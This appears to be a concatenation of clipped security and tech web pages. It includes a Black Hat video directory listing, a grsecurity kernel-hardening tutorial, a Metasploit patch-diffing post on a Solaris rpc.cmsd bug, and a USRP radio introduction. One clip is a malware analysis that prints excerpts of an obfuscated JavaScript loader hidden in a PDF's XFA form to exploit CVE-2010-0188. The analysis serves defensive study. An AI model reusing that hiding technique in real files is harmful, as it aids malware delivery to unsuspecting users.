    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_cv5.mov          03-Sep-2010 03:28  234M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_cw1.mov          03-Sep-2010 03:35  172M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_cw2.mov          03-Sep-2010 04:01  259M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_cw3.mov          03-Sep-2010 04:07  257M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_cw4.mov          03-Sep-2010 04:27  226M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_cw5.mov          03-Sep-2010 04:30  200M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_e1.mov           03-Sep-2010 04:48  182M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_e2.mov           03-Sep-2010 04:56  218M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_e3.mov           03-Sep-2010 05:06  150M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_e4.mov           03-Sep-2010 05:27  220M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_ex1.mov          03-Sep-2010 05:39  211M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_ex2.mov          03-Sep-2010 06:03  234M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_ex3.mov          03-Sep-2010 06:10  199M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_ex4.mov          03-Sep-2010 06:35  201M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_ex5.mov          03-Sep-2010 06:43  208M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_i1.mov           03-Sep-2010 07:06  197M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_i2.mov           03-Sep-2010 07:12  188M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_i3.mov           03-Sep-2010 07:38  205M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_i4.mov           03-Sep-2010 07:52  253M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_i5.mov           03-Sep-2010 08:21  274M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_k1_k2.mov        04-Sep-2010 09:45  155M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_k3.mov           04-Sep-2010 09:15  171M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_me1.mov          03-Sep-2010 09:53  204M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_me2.mov          03-Sep-2010 10:18  265M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_me3.mov          03-Sep-2010 10:27  216M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_me4.mov          03-Sep-2010 10:58  258M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_mf1.mov          03-Sep-2010 08:18  169M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_mf2.mov          03-Sep-2010 08:51  206M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_mf3.mov          03-Sep-2010 08:58  237M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_mf4.mov          03-Sep-2010 09:21  196M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_mf5.mov          03-Sep-2010 09:36  247M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_mo1.mov          03-Sep-2010 10:57  192M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_mo2.mov          03-Sep-2010 11:25  178M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_mo3.mov          03-Sep-2010 11:34  226M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_mo4.mov          03-Sep-2010 11:59  220M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_mo5.mov          03-Sep-2010 12:06  207M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_n1.mov           03-Sep-2010 12:28  180M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_n2.mov           03-Sep-2010 12:35  187M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_n3.mov           03-Sep-2010 20:30  237M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_n4.mov           03-Sep-2010 21:02  246M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_n5.mov           03-Sep-2010 13:27  159M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_os1.mov          03-Sep-2010 13:51  170M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_os2.mov          03-Sep-2010 14:10  256M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_os3.mov          03-Sep-2010 14:15  152M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_os4.mov          03-Sep-2010 14:49  234M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_os5.mov          03-Sep-2010 14:55  241M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_p1.mov           03-Sep-2010 15:18  185M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_p2.mov           03-Sep-2010 15:34  247M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_p3.mov           03-Sep-2010 15:48  192M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_p4.mov           03-Sep-2010 16:03  189M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_p5.mov           03-Sep-2010 16:24  225M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_pr1.mov          03-Sep-2010 16:29  158M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_pr2.mov          03-Sep-2010 16:59  204M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_pr3.mov          03-Sep-2010 17:11  246M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_pr4.mov          03-Sep-2010 17:42  252M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_pr5.mov          03-Sep-2010 18:00  270M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_re1.mov          03-Sep-2010 23:44  180M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_re2.mov          04-Sep-2010 00:13  241M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_re3.mov          04-Sep-2010 00:00  134M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_re4.mov          04-Sep-2010 00:11  155M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_re4v2.mov        04-Sep-2010 00:00   32   
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_re5.mov          04-Sep-2010 00:50  262M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_rr1.mov          04-Sep-2010 00:54  215M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_rr2.mov          04-Sep-2010 01:04  256M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_rr3.mov          04-Sep-2010 01:29  210M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_rr4.mov          04-Sep-2010 01:34  214M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_rr5.mov          04-Sep-2010 01:47  225M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_se1a.mov         04-Sep-2010 01:47   93M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_se1b.mov         04-Sep-2010 01:51   88M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_se2a.mov         04-Sep-2010 02:07  107M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_se2b.mov         04-Sep-2010 02:07  115M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_se2c.mov         04-Sep-2010 02:12  109M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_se3a.mov         04-Sep-2010 02:22   76M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_se3b.mov         04-Sep-2010 02:42  180M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_se4.mov          04-Sep-2010 02:58  239M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_se5.mov          04-Sep-2010 03:10  256M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_se6.mov          04-Sep-2010 03:20  195M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_se7.mov          04-Sep-2010 03:47  250M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_se8.mov          04-Sep-2010 04:00  258M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_se9.mov          04-Sep-2010 04:14  281M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_tt1a.mov         03-Sep-2010 17:55   72M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_tt1b.mov         03-Sep-2010 18:17   94M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_tt2a.mov         03-Sep-2010 18:25  117M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_tt2b.mov         03-Sep-2010 18:29   71M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_tt3a.mov         03-Sep-2010 18:42   97M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_tt3b.mov         03-Sep-2010 18:42   69M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_tt3c.mov         03-Sep-2010 18:54   69M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_tt4a.mov         03-Sep-2010 18:52   53M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_tt4b.mov         03-Sep-2010 19:07   70M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_tt4c.mov         03-Sep-2010 19:02   37M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_tt5a.mov         03-Sep-2010 19:21   82M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_tt5b.mov         03-Sep-2010 19:28   96M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_tt5c.mov         03-Sep-2010 19:40   82M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_wa1.mov          03-Sep-2010 20:57  249M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_wa2.mov          03-Sep-2010 21:09  171M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_wa3.mov          03-Sep-2010 21:54  174M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_wa4.mov          03-Sep-2010 22:01  194M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_wa5.mov          03-Sep-2010 22:20  237M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_wd1.mov          03-Sep-2010 22:41  169M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_wd2.mov          03-Sep-2010 22:55  211M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_wd3.mov          03-Sep-2010 23:10  219M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_wd4.mov          03-Sep-2010 23:29  233M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_wd5.mov          03-Sep-2010 23:35  203M  
    <img src='img/Temp2_4406.gif' alt='[ ]' /> sessionlisting.pdf      03-Sep-2010 18:37  950K  
    
    
[/code]

* * *
Apache Server at good.net Port 80

# Hardening The Linux Kernel With Grsecurity \(Debian\) | HowtoForge - Linux Howtos and Tutorials
**Created:**| _2/6/2010 4:34:28 PM_  
---|---  
**Updated:**| _2/6/2010 4:34:39 PM_  
**Author:**| __  
**Tags:**| _Linux kernel Lab-Setup_  
  

Do you like HowtoForge? Please consider supporting us by becoming a
subscriber.

Submitted by EvilAngel \(Contact Author\) \(Forums\) on Mon, 2008-11-17 16:58. :: Debian | Kernel
## Hardening The Linux Kernel With Grsecurity \(Debian\)

Security is based on three characteristics: prevention, protection and
detection. Grsecurity is a patch for Linux kernel that allows you to increase
each of these points. This howto was performed on a Debian Lenny system. Thus
some tools are Debian specific. However, tasks can be performed with other
distro specific tools or even with universal tools \(make\). Everything will
done with root privileges. However, you can perform them with a limited
account thanks to sudo and fake-kpkg tools.

### 1\. Preliminary Note

To compile the kernel, you need to install some specific packages:
rom1:/root\# aptitude install patch bin86 kernel-package build-essential If
you like to configure your kernel in graphical console mode \(make
menuconfig\), you must install one more package: rom1:/root\# aptitude install
libncurses5-dev Check that iniramfs-tools \(used to generated the init
ramdisk\) is installed \(it should be\): rom1:/usr/src\# dpkg -l initramfs\*
Desired=Unknown/Install/Remove/Purge/Hold  
| Status=Not/Installed/Config-files/Unpacked/Failed-config/Half-installed  
|/ Err?=\(none\)/Hold/Reinst-required/X=both-problems \(Status,Err:
uppercase=bad\)  
||/ Name Version Description  
+++-==============-==============-============================================  
ii initramfs-tool 0.85i tools for generating an initramfs  
rom1:/usr/src\# Go to the source folder: rom1:/root\# cd /usr/src Download the
grsecurity patch and the 2.6.24.5 Linux vanilla kernel: rom1:/usr/src\# wget
grsecurity.net/grsecurity-2.1.11-2.6.24.5-200804211829.patch.gz
rom1:/usr/src\# wget eu.kernel.org/pub/linux/kernel/v2.6/linux-2.6.24.5.tar.gz
NB: you may need to configure wget in case you are using an HTTP proxy \(which
may use authentication\). You need to edit /root/.wgetrc so it looks like
this:

[code]

    http_proxy=192.168.0.1
    proxy-user=foo # Put this line if you need to authenticate against your proxy
    proxy-passwd=bar # Put this line if you need to authenticate against your proxy
    
[/code]

Decompress the archive of the kernel: rom1:/usr/src\# tar xzvf
linux-2.6.24.5.tar.gz Create a symbolic link on the new kernel folder to ease
the following tasks: rom1:/usr/src\# ln -s linux-2.6.24.5 linux Now, the
environment is ready. Let's go hardening\!

### 2\. Patch the vanilla kernel

Move the grsecurity patch to the new directory: rom1:/usr/src\# mv grsecurity-2.1.11-2.6.24.5-200804211829.patch.gz linux/grsecurity-2.1.11-2.6.24.5-200804211829.patch.gz Decompress and patch the source of the kernel: rom1:/usr/src\# cd linux rom1:/usr/src/linux\# gunzip < grsecurity-2.1.11-2.6.24.5-200804211829.patch.gz | patch -p1 Now the patch is applied and the source of the kernel was modified. Let's configure the kernel to enable Grsecurity. 
### 3\. Configure the hardened kernel

In this example, we will configure the kernel using a console menu \(make
menuconfig\). This is why we installed the libncurses5-dev package. However,
you can configure in pure console mode \(make config\), or in GUI mode \(make
xconfig\). Grsecurity has predefined levels: low, medium, high. It can also be
configured in custom level where you choose to enable or not option by option.
Seehttp://www.grsecurity.net/confighelp.php/ for more info on each option. In
this HowTo, we will configure Grsecurity in High level. rom1:/usr/src/linux\#
make menuconfig Now, we will enable Grsecurity in the menu. Go to Security
options > Grsecurity > tick Grsecurity. Then, you can go to Security Level and
tick High. <img src='img/Temp2_3652.png' width='550' height='253' /><img
src='img/Temp2_3650.png' width='100' height='12' alt='Click to enlarge' /><img
src='img/Temp2_3653.png' width='550' height='258' /><img
src='img/Temp2_3650.png' width='100' height='12' alt='Click to enlarge' /><img
src='img/Temp2_3651.png' width='550' height='260' /><img
src='img/Temp2_3650.png' width='100' height='12' alt='Click to enlarge' />You
can profit from configuring Grsecurity to optimise your kernel. Eg: On your
server you probably don't need support for infrared, blutooth, probably
neither wifi, ipx, X25, token ring, ATM, firewire, PCcard, joystick, mouse,
sound....

### 4\. Compile the hardened kernel

It is now time to compile your hardened kernel. First, just in case, clean up:
rom1:/usr/src/linux\# make-kpkg clean Launch compilation itself \(this may
take a while depending on your CPU power and RAM availability\!\!\!\):
rom1:/usr/src/linux\# make-kpkg --initrd --append-to-version "grsec1.0"
kernel\_image In case you are not using a Debian distro, you can compile the
classic way with: make mrproper  
make menuconfig  
make clean  
make  
make modules\_install  
mkinitramfs  
make install

### 5\. Install the hardened kernel

Your new kernel is now compiled and a .deb package file has been generated in
the /usr/src folder. You need to install your kernel as any .deb package:
rom1:/usr/src\# dpkg -i linux-image-2.6.24.5-grsec\_grsec1.0\_i386.deb During
the installation, an initrd image will be generated. This may take a while
depending on your CPU power and RAM availability\! You may also check that the
new kernel image is really a kernel \! rom1:/usr/src\# file
vmlinuz-2.6.24.5-grsec  
vmlinuz-2.6.24.5-grsec: Linux kernel x86 boot executable RO-rootFS, root\_dev
0x801, swap\_dev 0x1, Normal VGA It is now time to restart your system with
your new hardened kernel: rom1:/usr/src/linux\# shutdown -r now Now that your
system has restarted, you can check that your new kernel is running: rom1:~\#
uname -r 2.6.24.5-grsec

### 6\. Testing the hardened kernel

Except the fact that uname -r is saying your kernel is a grsec one, how do you
know you are running a hardened kernel ? This is where we will usepaxtest
which will simulate an attack on the kernel and show if you are vulnerable or
not. Download paxtest: rom1:/tmp\# wget
http://www.grsecurity.net/~paxguy1/paxtest-0.9.7-pre5.tar.gz Extract it:
rom1:/tmp\# tar xzvf paxtest-0.9.7-pre5.tar.gz  
rom1:/tmp\# cd paxtest-0.9.7-pre5 Compile it \(type make to have the list of
targets\): rom1:/tmp/paxtest-0.9.7-pre5\# make generic Run it \(there are 2
differents modes: kiddie and blackhat\): rom1:/tmp/paxtest-0.9.7-pre5\#
./paxtest kiddie NB: unless you are using high grsecurity level or custom
level, you will have a vulnerable kernel. Indeed, you are only getting
userland ASLR protection in a medium mode.

### 7\. Links

  * Grsecurity home site: http://www.grsecurity.net
  * Linux kernel site: http://www.kernel.org
  * Wikipedia article on ASLR: http://en.wikipedia.org/wiki/Address\_space\_layout\_randomization

  
---

# Metasploit: Where's the 0x1337beef?

**Created:**| _11/12/2010 2:00:06 PM_  
---|---  
**Updated:**| _11/12/2010 2:00:39 PM_  
**Author:**| __  
**Tags:**| _reversing Metasploit awesome bin-diffing Oracle_  
  

## Wednesday, November 10, 2010

### Where's the 0x1337beef?

As we all know, the past couple of months have been busy times for our
industry. As lead exploit developer, it is my duty to stay on top of all of
the vulnerabilities being published. When working through the plethora of
issues published in October's patch-extravaganza, there was one particular
vulnerability that I felt compelled to investigate.  
  
That issue was CVE-2010-3509. After all, I've had a soft spot in my heart for
the Common Desktop Environment \(CDE\) since back the late 90's.  
  
Oracle's CPU release included this issue as a 10.0 CVSS affecting rpc.cmsd on
Solaris 8, 9, and 10. As is customary of Oracle's CPU document, there were no
additional details presented. At this point the issue went on the back burner.  
  
Later that day, Digital Defense \(DDI\) released their advisory about this
issue. Even though there was nothing substantial in the DDI advisory, it did
mention "Buffer Overflow", "Denial of Service" and "integer overflow". In the
"Solution Description" section, they even supplied the Sun bug ID of 6214701.
This gave me hope.  
  
Unfortunately, the Sun bug ID only stated "6214701 rpc.cmsd core dump". Wow,
that was very anti-climactic.  
  
As the days continued, multiple unpatched vulnerabilities were discovered
being exploited in the wild. These issues take priority over patched issues,
and so it wasn't until after they had been investigated that I could come back
to the rpc.cmsd bug.  
  
Back on this bug, I moved to the next step, patch diffing.  
  
It had been quite a while since I had done any patch diffing against Solaris
patches. I didn't know that after acquiring Sun, Oracle decided to require a
valid support contract to access patches. Furthermore, for Solaris 8, you need
an additional level of "legacy" support. I am generally annoyed and deterred
by this kind of road block. I assume certain other researchers agree.  
  
That said, where there is a will, there is a way. An anonymous contributor
offered to provide the desired patches. Finally, on to the fun part. Armed
with the usual IDA Pro and BinDiff, I set to it. I investigated Solaris 9 on
SPARC first, since I had immediate access to a SPARC in the vulnerable
configuration. After a dozen or so clicks of the mouse, I was finally looking
at what I wanted to see. There was only one changed function, the
"\_DtCm\_rtable\_create\_4\_svc" function, as seen below.  
  
<img src='img/Temp2_5332.png' />  
  
After further analysis, I became quite confused. What I saw in the code
differences, as you can see below, was not an "integer overflow". Nor was it a
"Buffer Overflow"...  
  
<img src='img/Temp2_5331.png' />  
  
Those fluent in SPARC assembly can see, the added basic blocks are due to
checks for a NULL return from the "DmCmGetPrefix" function. This function is
nearly identical to the "strchr" function. Here, it is being used to search
for an '@' character. Later, the returned values are passed to "strcmp"
function. BUT, if you pass NULL to "strcmp", it will attempt to blindly de-
reference it and cause a crash.  
  
<img src='img/Temp2_5330.png' />  
  
Then, I thought to myself, "Maybe there are other changes in one of the other
patches." After all, DDI's advisory did specifically say Solaris 10. I set off
to check the rest of the patches.  
  
Turns out, all of them are the same. I checked Solaris 9 and 10, on both x86
and SPARC. In all cases, the only change was the additional of a null pointer
check. Either a null pointer de-reference got a 10.0 CVSS, or Oracle didn't
properly fix the vulnerability that DDI described.  
  
Is this the kind of analysis we should expect from Oracle? I hope everyone
enjoyed the time they spent downloading, applying, writing vulnerability
checks, reports, and so on, for this bug\! Personally, I feel a little like a
child at Christmas that asked for a new game system and got a hula-hoop.  
  
To conclude, I concede that I may have made some mistake. After all, I am
human. If you have further information, please do not hesitate to contact me\!
I will do my best to make sure this post is factually correct.  
  
Until next time, beware of the FUD\!

# Marco Cova's Blog » Malicious PDF trick: XFA

**Created:**| _11/14/2010 4:16:32 PM_  
---|---  
**Updated:**| _11/14/2010 4:16:44 PM_  
**Author:**| __  
**Tags:**| _attacks research reversing Malware-analysis awesome_  
  

### Malicious PDF trick: XFA

November 15, 2010

Another trick that is becoming more and more common in malicious PDF files
consists of storing the actual malicious content \(for example, JavaScript
code that exploits some vulnerability\) into XFA forms. If you remember the
getPageNthWord, getAnnots, and the info tricks that have been documented
earlier, you will recognize the technique been used here.

So, what is an XFA form? XFA stands for XML Forms Architecture and it is a
specification used to create form templates \(forms that can be filled in by a
user\) and to process them \(for example, validate their contents\). Support
for XFA forms in PDF files has been introduced by Adobe with PDF 1.5. If you
want to know all the gory details, you can refer to the original XFA proposal
or to the Adobe's XFA specification, which, however, being 1123-page long may
be a hard read.

Let's see how it used abused in practice \(the MD5 of the sample I'm analyzing
is **1f26dcd4520a6965a42cefa4c7641334**\). The PDF first defines an _XFA
template_ , which is used to describe the appearance and interactive
characteristics of the form.

[code]

    obj 10 0
    <<
        /Type /EmbeddedFile    
        /Length 618    
        /Filter /FlateDecode 
    >>
    stream
    <template xmlns="http://www.xfa.org/schema/xfa-template/2.5/">
        <subform layout="tb" locale="en_US" name="artsLei">
            <pageSet>
                <pageArea id="leiArts" name="leiArts">
                    <contentArea h="756pt" w="576pt" x="0.25in" y="0.25in"/>
                    <medium long="792pt" short="612pt" stock="default"/>
                </pageArea>
            </pageSet>
            <subform h="756pt" w="576pt " name="docTaut">
                <field h="65mm" name="docArts" w="85mm" x="53.6501mm" y="88.649 9mm">
                    <event activity="initialize" name="tautDoc">
                        <script contentType="application/x-javascript">
                        var nil = (function(){return this;}).call(null);
                        ...
                        eval_ref(decode(docArts[\'ra\'+ue+\'wVa\'+ue+\' lue\'].substring(50),eval_ref));
                        </script>
                    </event>
                    <ui><imageEdit/></ui>
                </field>
            </subform>
        </subform>
    </template>
    endstream
    endobj
    
    
[/code]

A couple of interesting parts: the template defines a field, named `docArts`.
Note that a reference to this field will be available through an object named
docArts in the global scope of JavaScript \(i.e., `this.docArts` is a Field
object that represents this field\). The field also has an event handler to
handle its initialization. The handler is written in JavaScript and has the
familiar aspect of obfuscated code.

Let's see what this code does:

[code]

    var nil = (function(){return this;}).call(null);
    var eval_ref = nil['eval'];
    function decode(str, ev){
        var ret = '';
        var cvc = [];
        var fcc = String.fromCharCode;
        var k = docArts['rawValue'].substring(0, 50);
        ...
        return ret;
    }
    eval_ref(decode(docArts['rawValue'].substring(50), eval_ref));
    
    
[/code]

The interesting bits here are the references to the docArts object. Notice
that its `rawValue` property is retrieved. So, where is the value of the field
stored? In an _XFA dataset_ :

[code]

    obj 12 0
    <<   
        /Filter /FlateDecode    
        /Length 3388    
        /Type /EmbeddedFile 
    >>
    stream
    <xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
        <xfa:data>
            <artsLei>
                <docArts>
                [[32,48],[65,97],[48,64],[10,11],[13,14],[97,126]]
                [80,87,70,83,71,77,80,88,16,
                 ...
                78,66,74,79,21,86,79,68,8,9,59]
                </docArts>
            </artsLei>
        </xfa:data>
    </xfa:datasets>
    endstream
    endobj
    
    
[/code]

Therefore, the obfuscated JavaScript extracts the data stored for the docArts
field \(precisely, all the content after the initial 50 characters\) and
passes it for decoding to the decoding routine. The decoding routine also uses
the docArts data \(the first 50 characters\) to retrieve the malicious code in
the clear, which is ready to be evaluated. The execution finally results with
an exploitation of the CVE-2010-0188 vulnerability \(libTiff overflow\).

# Introduction to USRP - Invihertz

**Created:**| _2/22/2012 9:47:42 PM_  
---|---  
**Updated:**| _2/22/2012 8:48:14 PM_  
**Author:**| __  
**Tags:**| _Gnuradio sdr_  
  

# Introduction to USRP

## Contents

\[hide\]

  * 1 The USRP
    * 1.1 Advantages
    * 1.2 Differences between USRP1 and USRP2
    * 1.3 ADC/DAC section
    * 1.4 The FPGA
    * 1.5 Daughter boards
  * 2 Next
  * 3 References

  
---  
##  The USRP

Imagine a device which can be morph into a cell pone, a GSM base station,
radio receiver, etc. The USRP \(pronounced usurp\) or "Universal Software
Radio Peripheral", is a board designed by Matt Ettus for making Software-
defined Radio or SDR \(We will talk about it later\).

The board incorporates ADC \(Analog-to-digital\), DAC converters \(Digital-to-
analog\), a million gate-field programmable gate array \(FPGA\), a
programmable USB 2.0 \(USRP1\) or Ethernet GB controller and some forms of RF
front end. The USRP1 is up to four daughter board : 2 for reception and 2 for
transmission, whereas the USRP2 is only up to one daughter board for reception
and one for transmission.

  
**Figure 1. USRP1 Block Diagram**

<img src='img/Temp2_4583.png' width='503' height='383' alt='USRP Block
Diagram' />

###  Advantages

  1. This kind of peripheral is low-cost compared to other radio devices we should buy to exploit a large range of frequencies, thanks to Software-defined Radio and its flexibility. 
  2. There are many developers around, so you should not feel like the only one as a COBOL developer \(just joking...\!\). 
  3. Using with a Software Radio environment, it gives you a lot possibility. 

###  Differences between USRP1 and USRP2

<img src='img/Temp2_4584.png' width='180' height='69' alt='alt' />

<img src='img/Temp2_4585.png' width='15' height='11' alt='alt' />

USRP 1

<img src='img/Temp2_4582.png' width='180' height='85' alt='alt' />

<img src='img/Temp2_4585.png' width='15' height='11' alt='alt' />

USRP 2

If you look at the Ettus website, normally you will see two kinds of USRP
\(version 1 et 2\). Beware, these versions have some important differences :

|  USRP1 |  USRP2   
---|---|---  
Interface |  USB 2.0 \(32 MB/s half duplex\) |  Gigabit Ethernet \(1000 MBit/s\)   
FPGA |  Altera EP1C12 |  Xilinx Spartan 3 2000   
RF Bandwidth to/from host |  8 MHz @ 16bits |  25 MHz @ 16bits   
Cost |  $700 |  $1400   
ADC Samples |  12-bit, 64 MS/s |  14-bit, 100 MS/s   
DAC Samples |  14-bit, 128 MS/s |  16-bit, 400 MS/s   
Daughterboard capacity |  2 TX, 2 RX |  1 TX, 1 RX   
SRAM |  None |  1 Megabyte   
Power |  6V, 3A |  6V, 3A   
  
The USRP is little bit expensive, but it is one of the powerful and flexible
peripheral for Software Radio. Users can use different daughter boards or make
it for specific needs.

###  ADC/DAC section

The received signal is sampled by the ADC and converted to digital values
depending on the ADCs dynamic range.

In the USRP1, there are 4 high-speed 12-bit AD converters. The sampling rate
is 64M samples per second. In principle, it could digitize a band as wide as
32MHz. The AD converters can bandpass-sample signals of up to about 200MHz. If
several decibels of loss is tolerable, then, IF frequency as high as 500 MHz
can be digitized. However, if we sample a signal with the IF larger than
32MHz, we will introduce aliasing and actually the band of the signal of
interest is mapped to some places between -32MHz and 32MHz. Sometimes this can
be useful, for example, we could listen to the FM stations without any RF
front end. The higher the frequency of the sampled signal, the more the SNR
will be degraded by jitter. 100MHz is the recommended upper limit. The USB
connection sustains 32 MB/s in half duplex, so transmission and reception of
samples isn’t possible synchronously The full range of the ADCs is 2V peak to
peak, and the input is 50 ohms differential. This is 40mW, or 16dBm. There is
a programmable gain amplifier \(PGA\) before the ADCs to amplify the input
signal to utilize the entire input range of the ADCs, in case the signal is
weak. The PGA is up to 20dB. With gain set to zero, full scale inputs are 2
Volts peak-to-peak differential. When set to 20 dB, only .2 V p-p differential
input signal is needed to reach full scale. This PGA is software programmable.
If signals are AC-coupled, there is no need to provide DC bias as long as the
internal buffer is turned on. It will provide an approximately 2V bias. If
signals are DC-couple, a DC bias of VCC/2 \(1.65V\) should be provided to both
the positive and negative inputs, and the internal buffer should be turned
off. The ADC VREF provides a clean 1 V reference.

At the transmitting path, there are also 4 high-speed 14-bit DA converters.
The DAC clock frequency is 128 MS/s, so Nyquist frequency is 64MHz. However,
we will probably want to stay below it to make filtering easier. A useful
output frequency range is from DC to about 44MHz. The DACs can supply 1V peak
to a 50 ohm differential load, or 10mW \(10dBm\). There is also PGA used after
the DAC, providing up to 20dB gain. This PGA is software programmable. The DAC
signals \(IOUTP\_A/IOUTN\_A and IOUTP\_B/IOUTN\_B\) are current-output, each
varying between 0 and 20 mA. They can be converted into differential voltages
with a resistor.

The USRP2 use a Dual 14-bit LTC2284 at 100MS/s as its main ADC. There is an
auxiliary 2 channels, 12-bit ADC \(the AD7922\) for each daughterboard
connector. The main DAC is the Dual 16-bit AD9777 fed with 100 Ms/s and
